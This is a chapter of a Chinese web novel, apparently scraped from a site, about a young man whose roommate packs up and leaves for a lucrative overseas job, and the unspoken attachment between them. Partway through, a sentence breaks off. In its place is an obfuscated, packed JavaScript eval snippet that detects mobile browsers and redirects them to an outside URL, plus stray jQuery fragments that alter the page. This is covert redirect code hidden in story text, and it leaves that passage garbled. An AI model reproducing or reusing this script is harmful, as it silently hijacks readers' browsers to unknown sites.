撕扯封箱胶带的声音，大概是这个世界上最接近骨肉分离的听觉模拟。


    “刺啦——”


    一声尖锐的啸叫划破了出租屋浑浊的空气。谢金城手里拿着那是卷宽胶带，正试图把一个塞满了书籍和杂物的纸箱封口。他的动作很狠，像是在勒死什么东西。


    我坐在地板上，手里捏着一只已经空了的易拉罐，看着他在灰尘里忙碌。


    那是搬家的前夜。或者更准确地说，是一场精密的外科手术现场。


    手术的对象是我们这对连体婴般的“贫穷共同体”。主刀医生是资本主义，手术刀是一封来自海外总部的Offer。


    三天前，那封邮件像神谕一样降临在他的戴尔笔记本屏幕上。全英文，薪资一栏的数字长得像一串乱码，换算成人民币足以让我们这间出租屋瞬间变成一个荒谬的笑话。


    那是上帝发给谢金城的登船票。而我，是被洪水遗留在岸边的淤泥。


    “这一箱是你的书。”谢金城用记号笔在箱子上写下“林”字，笔锋透着一股决绝的利落，“那堆衣服是我的。那个蓝色的漱口杯归你，我不带走了。”


    物体正在被重新赋予归属权。


    在那三两年里，物权是模糊的。牙膏是混用的，洗发水是一起买的，甚至内裤有时候混洗了也分不清楚谁是谁的。贫穷消融了“你”和“我”的边界，我们曾像两株纠缠在一起的藤蔓，共享着同一份养分和匮乏。


    但现在，财富的预兆像一把锋利的剪刀，咔嚓一声，剪断了藤蔓。


    你是你的，我是我的。


    甚至连空气里的尘埃，似乎都开始自动站队。一部分附着在他的新秀丽行李箱上，准备以此为载体偷渡到大洋彼岸；另一部分则沉落在地板上，准备陪我继续在这个发霉的城市里苟延残喘。


    “知序。”


    谢金城突然停下了动作。他坐在那堆纸箱中间，背靠着斑驳的墙壁，从口袋里摸出一包软中华——这是为了庆祝拿到offer买的，也是我们这几年抽过最贵的烟。


    他点了一根，深吸一口，火星在他指尖明灭。烟雾升腾起来，模糊了他那张因为兴奋和疲惫而显得有些扭曲的脸。


    “怎么了？”我把易拉罐捏扁，铝制品发出一声脆响。


    “我在想……”他吐出一口烟圈，眼神没有看我，而是盯着虚空中的某一点，“我要是走了，这儿就剩你一个了。”


    这句话他说得很轻，像是一句毫无重量的陈述句。


    但我听懂了里面的潜台词。那不是留恋，那是一种强者对弱者的、居高临下的悲悯。甚至，还夹杂着一丝恐惧——他怕我这个“旧时代的残党”会像水鬼一样缠住他的脚踝，把他拖回这滩泥沼里。


    他在等我给他颁发“通行证”。


    他在等我说：“滚吧，别管我。”


    只有这样，他才能毫无心理负担地踏上他的黄金大道，去完成他的宏大叙事。


    我看着他。屋顶的白炽灯泡在这个时刻适时地闪烁了两下，像是接触不良的神经末梢。


    那一瞬间，我产生了一种极度荒诞的冲动。我想冲过去，按住他的肩膀，用最恶毒的语言诅咒他，告诉他：“你别想走，我们就该烂在一起，像两滩烂泥一样永远别分开。”


    但我只是把手里捏扁的易拉罐扔进垃圾桶。


    哐当。


    这一声响，像是法官落下的锤。


    “矫情什么。”我重新开了一罐啤酒，泡沫溢出来流在手上，像某种粘稠的□□，“四十平米又不是装不下我一个人。你走了，我正好独占这张床，省得天天闻你的脚臭。”


    谢金城猛地转过头看我。


    他眼里的光闪烁了一下，那是如释重负的光。他显然松了一口气，原本紧绷的肩膀也垮了下来。


    “也是。”他笑了一下，有些勉强，又有些释然，“你这人向来独，一个人住没准更自在。”


    “对啊。”我灌了一大口酒，酒精辛辣，冲得我眼眶发热，“你去的是总部，以后就是Global Pay了，那是干大事的地方。别为了这点儿破事磨磨唧唧的，不像个爷们。”


    “干大事。”谢金城重复了一遍这三个字。


    他把烟头按灭在满是灰尘的地板上，用力碾了碾，直到那一点火星彻底熄灭，变成一团黑色的灰烬。


    “林知序，你记着。”他突然抬起头，眼神亮得吓人，“等我混出名堂了，我不会忘了兄弟。”


    兄弟。


    兄弟之间也会接吻，也会在某个阴冷潮湿的夜晚像是一把燃烧的火炬吗？


    这个词真好用。它像是一块巨大的遮羞布，盖住了所有的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088257|195404||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    暧昧、所有的悸动，也盖住了我那点见不得光的私欲。它把一切都规训到了“社会关系”的安全范畴内。


    “行，我等着你苟富贵勿相忘。”


    我举起啤酒罐，隔着满地的纸箱，对他做了一个干杯的动作。


    那一晚，我们再没说过话。


    房间里只剩下胶带撕扯的声音，“刺啦——刺啦——”。


    每一声，都在对我们的过去进行切割。


    那是一种物理意义上的分割术。


    他把属于他的“未来”打包进了箱子，封口，贴单。


    而我，坐在属于我的“现在”里，看着他一点点把自己从这个房间里剥离出去。


    第二天清晨，天刚蒙蒙亮。


    货拉拉的司机在楼下狂按喇叭，催命一样。


    谢金城拖着两个巨大的行李箱站在门口。他穿着那件为了面试新买的风衣，整个人挺拔得像一株新生的白杨。


    出租屋的门敞开着，穿堂风呼啸而过，卷起地上的灰尘。


    “走了。”他说。


    他没有回头看这个住了两年的狗窝，也没有看那个接漏水的脸盆。他的目光越过我的肩膀，看向了楼道外那片灰白色的天空，那里有飞机的航线，有他的黄金叙事。


    “走吧。”我靠在门框上，双手插兜，指甲深深地掐进肉里。


    他转身下楼。行李箱的滚轮磕碰在水泥台阶上，发出沉闷的钝响。


    一步，两步，三步。


    声音越来越远，直到消失在楼道的拐角。


    那一刻，我清楚地感觉到了“分岔”的发生。


    不是那种“你在左我在右”的平面分岔。而是一种维度的分岔。


    他向上升腾，成为了那个金光闪闪的精英阶层。


    我向下沉降，继续做这个城市里的一粒尘埃。


    那三两年的真空期，终于彻底破裂了。


    现实的重力重新捕获了我。


    我关上门。


    房间空了一半，回声大得吓人。


    我走到那面蒙满灰尘的镜子前，看着镜子里的自己。


    “恭喜你，林知序。”我对镜子里的人说，“你刚刚亲手放生了你的太阳。”


    镜子里的人没有哭，只是表情木然地点了点头。


    像个合格的共犯。